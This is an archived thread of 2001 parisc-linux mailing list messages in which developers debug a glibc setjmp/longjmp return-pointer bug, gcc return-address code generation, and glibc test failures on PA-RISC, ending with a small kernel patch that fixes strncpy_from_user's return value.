   139a4:       6b 40 01 50     stw r0,a8(sr0,r26)
   139a8:       e8 40 c0 00     bv r0(rp)
   139ac:       34 1c 00 00     ldi 0,ret0

oh.  wait.  1434F is exactly where it should be.  *sigh*.  So why the hell
is it returning to the wrong place?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sat, 5 May 2001 01:00:32 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20010505010032.N32445@parcelfarce.linux.theplanet.co.uk>
References: <20010504223825.J32445@parcelfarce.linux.theplanet.co.uk> <200105042151.RAA19009@hiauly1.hia.nrc.ca> <20010504235711.M32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620098 18828 80.91.229.3 (22 Nov 2014 01:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:58 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 18:00:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56451482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 18:00:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vpUu-0001tl-00; Sat, 05 May 2001 01:00:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010504235711.M32445@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Fri, May 04, 2001 at 11:57:11PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10985

On Fri, May 04, 2001 at 11:57:11PM +0100, Matthew Wilcox wrote:
> 
> taking a somewhat different approach:
> 
>     ea44:       e8 42 11 d4     b,l 14334 <_setjmp>,rp
> 
> 00014334 <_setjmp>:
>    14334:       6b c2 3f d9     stw rp,-14(sr0,sp)
>    14338:       34 19 00 00     ldi 0,r25
>    1433c:       37 de 00 80     ldo 40(sp),sp
>    14340:       6b d3 3f c1     stw r19,-20(sr0,sp)
>    14344:       e8 41 00 d8     b,l 163b8 <__sigsetjmp>,rp
>    14348:       6b d3 3f 91     stw r19,-38(sr0,sp)
>    1434c:       4b d3 3f 91     ldw -38(sr0,sp),r19
>    14350:       4b c2 3f 59     ldw -54(sr0,sp),rp
>    14354:       e8 40 c0 00     bv r0(rp)
>    14358:       37 de 3f 81     ldo -40(sp),sp

> oh.  wait.  1434F is exactly where it should be.  *sigh*.  So why the hell
> is it returning to the wrong place?

OK, got it.  the first time we call _setjmp, everything is fine.
But when we return to it through longjmp, the `rp' which got stored has
changed, and now its the rp for the last function we called.  Which is
what happens using `step' through gdb (now that i have a working gdb,
thanks for the deb, matt).

Ugh.  I guess we can't use _setjmp then, at least in its current form.
Oh well, at least the problem's found.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sat, 5 May 2001 10:19:05 +0930 (CST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0105051006540.7087-100000@mullet.itr.unisa.edu.au>
References: <20010505010032.N32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620098 18831 80.91.229.3 (22 Nov 2014 01:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:58 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	<parisc-linux@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 18:49:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from patty.levels.unisa.edu.au (patty.levels.unisa.edu.au [130.220.36.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5053482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 18:49:18 -0600 (MDT)
Original-Received: from mullet.itr.unisa.edu.au (root@mullet [172.17.0.119])
	by patty.levels.unisa.edu.au (8.9.3/8.9.1) with ESMTP id KAA27223;
	Sat, 5 May 2001 10:19:07 +0930 (CST)
Original-Received: from localhost (alan@localhost)
	by mullet.itr.unisa.edu.au (8.9.1a/8.9.2) with ESMTP id KAA07138;
	Sat, 5 May 2001 10:19:06 +0930
X-Authentication-Warning: mullet.itr.unisa.edu.au: alan owned process doing -bs
X-Sender: <alan@mullet.itr.unisa.edu.au>
In-Reply-To: <20010505010032.N32445@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10986

On Sat, 5 May 2001, Matthew Wilcox wrote:

> OK, got it.  the first time we call _setjmp, everything is fine.
> But when we return to it through longjmp, the `rp' which got stored has
> changed, and now its the rp for the last function we called.

Oh horrible.  Yes, the stack frame that sysdeps/generic/bsd-_setjmp.c is
using to load rp is no longer valid.  Oh well, the comment in
generic/bsd-_setjmp.c should have warned us, which leads to another
question.  Why was this added to gcc/config/pa/pa-linux.h?

/* Sibcalls, stubs, and elf sections don't play well.  */
#undef FUNCTION_OK_FOR_SIBCALL
#define FUNCTION_OK_FOR_SIBCALL(x) 0

Seems a bit drastic to me.  The correspnding define in pa.h should be OK
for us.

-- 
Alan Modra





From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sat, 5 May 2001 02:01:57 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20010505020157.O32445@parcelfarce.linux.theplanet.co.uk>
References: <20010505010032.N32445@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.30.0105051006540.7087-100000@mullet.itr.unisa.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620099 18835 80.91.229.3 (22 Nov 2014 01:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:59 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 19:02:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CAE16482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 19:02:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vqSL-00031I-00; Sat, 05 May 2001 02:01:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.30.0105051006540.7087-100000@mullet.itr.unisa.edu.au>; from alan@SPRI.Levels.UniSA.Edu.Au on Sat, May 05, 2001 at 10:19:05AM +0930
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10987

On Sat, May 05, 2001 at 10:19:05AM +0930, Alan Modra wrote:
> Oh horrible.  Yes, the stack frame that sysdeps/generic/bsd-_setjmp.c is
> using to load rp is no longer valid.  Oh well, the comment in
> generic/bsd-_setjmp.c should have warned us,

sure, if we'd ever looked in there :-)

on this subject, there've now been three things (LFS, ELF_OSABI_LINUX
and setjmp) which people have said `oh yeah, thought we might have some
problems with those, someone mentioned that' (or similar) once the problem
was found.  would anyone care to remember anything else that they thought
`might be a problem at some point'?

> which leads to another
> question.  Why was this added to gcc/config/pa/pa-linux.h?
> 
> /* Sibcalls, stubs, and elf sections don't play well.  */
> #undef FUNCTION_OK_FOR_SIBCALL
> #define FUNCTION_OK_FOR_SIBCALL(x) 0
> 
> Seems a bit drastic to me.  The correspnding define in pa.h should be OK
> for us.

I vaguely remember that.  Searching the list archive finds:
http://lists.parisc-linux.org/pipermail/parisc-linux/2000-July/009002.html

so it's dhd's fault :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sat, 5 May 2001 10:48:14 +0930 (CST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0105051041090.7143-100000@mullet.itr.unisa.edu.au>
References: <20010505020157.O32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620099 18837 80.91.229.3 (22 Nov 2014 01:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:59 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	<parisc-linux@parisc-linux.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 19:18:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from patty.levels.unisa.edu.au (patty.levels.unisa.edu.au [130.220.36.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02F7D482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 19:18:17 -0600 (MDT)
Original-Received: from mullet.itr.unisa.edu.au (root@mullet [172.17.0.119])
	by patty.levels.unisa.edu.au (8.9.3/8.9.1) with ESMTP id KAA29030;
	Sat, 5 May 2001 10:48:15 +0930 (CST)
Original-Received: from localhost (alan@localhost)
	by mullet.itr.unisa.edu.au (8.9.1a/8.9.2) with ESMTP id KAA07157;
	Sat, 5 May 2001 10:48:14 +0930
X-Authentication-Warning: mullet.itr.unisa.edu.au: alan owned process doing -bs
X-Sender: <alan@mullet.itr.unisa.edu.au>
In-Reply-To: <20010505020157.O32445@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10988

On Sat, 5 May 2001, Matthew Wilcox wrote:

> was found.  would anyone care to remember anything else that they thought
> `might be a problem at some point'?

lock alignment => malloc alignment.  (Possibly already fixed with new
glibc. I haven't checked.)

[re: FUNCTION_OK_FOR_SYSCALL == 0]
> I vaguely remember that.  Searching the list archive finds:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2000-July/009002.html

That patch seems to be a merge, so we don't have the real reason for
the change.





From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3: setjmp/longjmp
Date: Sat, 5 May 2001 02:47:52 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010505024752.P32445@parcelfarce.linux.theplanet.co.uk>
References: <20010505020157.O32445@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.30.0105051041090.7143-100000@mullet.itr.unisa.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620099 18840 80.91.229.3 (22 Nov 2014 01:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:59 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 19:48:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49003482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 19:48:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vrAm-0003td-00; Sat, 05 May 2001 02:47:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.30.0105051041090.7143-100000@mullet.itr.unisa.edu.au>; from alan@SPRI.Levels.UniSA.Edu.Au on Sat, May 05, 2001 at 10:48:14AM +0930
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10989

On Sat, May 05, 2001 at 10:48:14AM +0930, Alan Modra wrote:
> On Sat, 5 May 2001, Matthew Wilcox wrote:
> 
> > was found.  would anyone care to remember anything else that they thought
> > `might be a problem at some point'?
> 
> lock alignment => malloc alignment.  (Possibly already fixed with new
> glibc. I haven't checked.)

Yup, that got taken care of by Ulrich.

> [re: FUNCTION_OK_FOR_SYSCALL == 0]
> > I vaguely remember that.  Searching the list archive finds:
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2000-July/009002.html
> 
> That patch seems to be a merge, so we don't have the real reason for
> the change.

Sure, but I'm not sure we had it before that.  Wait!  We have cvs history!
http://puffin.external.hp.com/cvs/gcc/gcc/config/pa/pa-linux.h?r1=1.1&r2=1.2
Oh.  The comment isn't helpful.  I guess you'll have to ask dhd...
dhd@debian.org is one of his valid addresses.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.2.3 make check status
Date: Sat, 5 May 2001 03:34:57 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620100 18845 80.91.229.3 (22 Nov 2014 01:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 20:35:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58A0B482A
	for <parisc-linux@parisc-linux.org>; Fri,  4 May 2001 20:35:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14vruL-0004iC-00
	for parisc-linux@parisc-linux.org; Sat, 05 May 2001 03:34:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10990

I'm not sure people actually ran make check against glibc 2.2.1, so I don't
know how this compares.  Maybe 2.2.3 just has more tests than 2.2.1 did...

I'd love some help on this.  Really.  check the merge_GLIBC_CVS_20010424
branch out of CVS, configure it, make, then make check, and you'll start
hitting failures.  I've indicated the ones I've investigated.

 * all the tests in math/ fail.  pb knows what these problems are.

 * stdlib/strtold fails.  This is due to our long double being 64 bit and
   glibc thinks its 128 bit.  Bug #119

 * all the tests in dlfcn/ fail.  I haven't investigated these.

 * grp/testgrp fails.  This is a generic glibc 2.2.3 problem, the fix
   is available from upstream.

 * posix/testchmod fails.  This is due to a kernel bug in strncpy_from_user.
   Bug #118

 * posix/globtest fails.  Haven't investigated.

 * io/test-utime fails.  Looks like a stat problem.

 * misc/tst-efgcvt fails.  (Maybe another long double problem?)

 * gmon/tst-sprofil fails.  Looks like it needs to be ported to Linux/hppa.

 * linuxthreads/ and rt/ all hang.  I'll look at this.

 * elf/resolvfail and elf/constload1 fail.  Not investigated.  Probably other
   tests in elf/ also fail.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa FUNCTION_OK_FOR_SIBCALL
Date: Sat, 5 May 2001 13:54:47 +0930 (CST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0105051311480.7143-100000@mullet.itr.unisa.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620100 18850 80.91.229.3 (22 Nov 2014 01:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:00 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Jeffrey A Law <law@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  4 22:24:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from patty.levels.unisa.edu.au (patty.levels.unisa.edu.au [130.220.36.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id 857D6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  4 May 2001 22:24:53 -0600 (MDT)
Original-Received: from mullet.itr.unisa.edu.au (root@mullet [172.17.0.119])
	by patty.levels.unisa.edu.au (8.9.3/8.9.1) with ESMTP id NAA10685;
	Sat, 5 May 2001 13:54:47 +0930 (CST)
Original-Received: from localhost (alan@localhost)
	by mullet.itr.unisa.edu.au (8.9.1a/8.9.2) with ESMTP id NAA07238;
	Sat, 5 May 2001 13:54:47 +0930
X-Authentication-Warning: mullet.itr.unisa.edu.au: alan owned process doing -bs
X-Sender: <alan@mullet.itr.unisa.edu.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10991

Hi Jeff,
   Can you remember why FUNCTION_OK_FOR_SIBCALL is !TARGET_64BIT?

I'm asking because I think tail calls are always OK for pa32-linux,
because having a flat sub-space model we don't need to worry about rp',
and r19 will be preserved/loaded in the PIC case.  I'm wordering what I'm
missing though as you can argue the same for pa64.

Alan





From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa __builtin_return_addr
Date: Sat, 5 May 2001 22:11:43 +0930 (CST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0105052051010.7143-100000@mullet.itr.unisa.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620100 18854 80.91.229.3 (22 Nov 2014 01:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:00 +0000 (UTC)
Cc: <gcc-bugs@gcc.gnu.org>, <parisc-linux@lists.parisc-linux.org>
To: Jeffrey A Law <law@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  5 06:41:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from patty.levels.unisa.edu.au (patty.levels.unisa.edu.au [130.220.36.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id 432CF482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 May 2001 06:41:47 -0600 (MDT)
Original-Received: from mullet.itr.unisa.edu.au (root@mullet [172.17.0.119])
	by patty.levels.unisa.edu.au (8.9.3/8.9.1) with ESMTP id WAA13465;
	Sat, 5 May 2001 22:11:44 +0930 (CST)
Original-Received: from localhost (alan@localhost)
	by mullet.itr.unisa.edu.au (8.9.1a/8.9.2) with ESMTP id WAA07441;
	Sat, 5 May 2001 22:11:43 +0930
X-Authentication-Warning: mullet.itr.unisa.edu.au: alan owned process doing -bs
X-Sender: <alan@mullet.itr.unisa.edu.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10992

Hi Jeff,
  I stumbled on this one a couple of hours ago, and haven't figured out
a good fix yet.

cat >builtin_ret.c <<EOF
void *foo (void) { return __builtin_return_address (0); }
EOF
gcc -O -S -mno-space-regs builtin_ret.c

gives (trimming somewhat)
foo:
        bv %r0(%r2)
        ldw -20(%r30),%r28	# Oops, we never stored r2 at -20(%r30)

The fix I have in mind is to add some communication between
builtins.c:expand_builtin_return_addr and pa.c:hppa_expand_prologue.
eg. add a field to struct machine_function, and set it in
pa.c:return_addr_rtx to indicate that r2 must be saved.


A similar problem occurs with
cat >builtin_frame.c <<EOF
void *foo (void) { return __builtin_frame_address (1); }
EOF
gcc -O -S builtin_frame.c

foo:
        bv %r0(%r2)
        ldw 0(%r30),%r28	# Oops, we haven't saved a frame pointer.

We ought to be able to make __builtin_frame_address (n) work reliably for
n = 0 and n = 1 by something similar to the fix I'm proposing for the
return address problem.  ie. set a "frame_pointer_needed" flag in
struct machine_function.

-- 
Alan Modra






From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Sat, 05 May 2001 17:12:39 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <3AF41867.FEA3F5B6@esiee.fr>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------C66A00DC2A8F1DBB37F2490E"
X-Trace: ger.gmane.org 1416620101 18865 80.91.229.3 (22 Nov 2014 01:35:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:01 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  5 09:05:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85B48482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 May 2001 09:05:48 -0600 (MDT)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id D99F5D15AB; Sat,  5 May 2001 17:05:42 +0200 (CEST)
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10993

This is a multi-part message in MIME format.
--------------C66A00DC2A8F1DBB37F2490E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi willy

Matthew Wilcox wrote:
> 
> I'm not sure people actually ran make check against glibc 2.2.1, so I don't
> know how this compares.  Maybe 2.2.3 just has more tests than 2.2.1 did...
> 
> I'd love some help on this.  Really.  check the merge_GLIBC_CVS_20010424
> branch out of CVS, configure it, make, then make check, and you'll start
> hitting failures.  I've indicated the ones I've investigated.

>  * posix/testchmod fails.  This is due to a kernel bug in strncpy_from_user.
>    Bug #118

The patch given above is supposed to correct this bug. It deals with the
fact that r24 counter is not "up to date" when the loop is stoped due to
a 0 byte's copy. 

I didn't find your merge_GLIBC_CVS_20010424 file. If you could point me
where
it is, I could perhaps try to help you as you request. More over, as you
might infer
I wasn't able to check the patch with the make check of the merge. The
only thing I know
is that my kernel still work with this patch , which is not a proof.

Regards,
Matthieu
-- 
Matthieu Delahaye
ESIEE Team
http://mkhppa1.esiee.fr/
--------------C66A00DC2A8F1DBB37F2490E
Content-Type: text/plain; charset=us-ascii;
 name="strncopy_from_user.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="strncopy_from_user.diff"

diff -Nru linux.old/arch/parisc/lib/lusercopy.S linux.new/arch/parisc/lib/lusercopy.S
--- linux.old/arch/parisc/lib/lusercopy.S	Sat May  5 16:43:40 2001
+++ linux.new/arch/parisc/lib/lusercopy.S	Sat May  5 16:44:00 2001
@@ -144,7 +144,7 @@
 	 *
 	 * Returns -EFAULT if exception before terminator,
 	 *         N if the entire buffer filled,
-	 *         otherwise strlen + 1 (i.e. includes zero byte)
+	 *         otherwise strlen (i.e. excludes zero byte)
 	 */
 
 	.export lstrncpy_from_user,code
@@ -153,7 +153,7 @@
 	.callinfo NO_CALLS
 	.entry
 	comib,=     0,%r24,$lsfu_done
-	copy        %r26,%r23
+	copy        %r24,%r23
 	get_sr
 1:      ldbs,ma     1(%sr1,%r25),%r1
 $lsfu_loop:
@@ -162,7 +162,7 @@
 	addib,<>,n  -1,%r24,$lsfu_loop
 2:      ldbs,ma     1(%sr1,%r25),%r1
 $lsfu_done:
-	sub         %r26,%r23,%r28
+	sub         %r23,%r24,%r28
 $lsfu_exit:
 	bv          %r0(%r2)
 	nop

--------------C66A00DC2A8F1DBB37F2490E--





From - Thu Nov 08 21:17:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Sat, 5 May 2001 22:16:02 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20010505221602.R32445@parcelfarce.linux.theplanet.co.uk>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk> <3AF41867.FEA3F5B6@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620101 18891 80.91.229.3 (22 Nov 2014 01:35:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:01 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  5 15:16:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98F5A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 May 2001 15:16:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14w9PG-0001Aj-00; Sat, 05 May 2001 22:16:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AF41867.FEA3F5B6@esiee.fr>; from delahaym@esiee.fr on Sat, May 05, 2001 at 05:12:39PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10994

On Sat, May 05, 2001 at 05:12:39PM +0200, Matthieu Delahaye wrote:
> The patch given above is supposed to correct this bug. It deals with the
> fact that r24 counter is not "up to date" when the loop is stoped due to
> a 0 byte's copy. 

It does indeed, I shall check this in now.  Thank you for your help!
Would you like to close this bug?

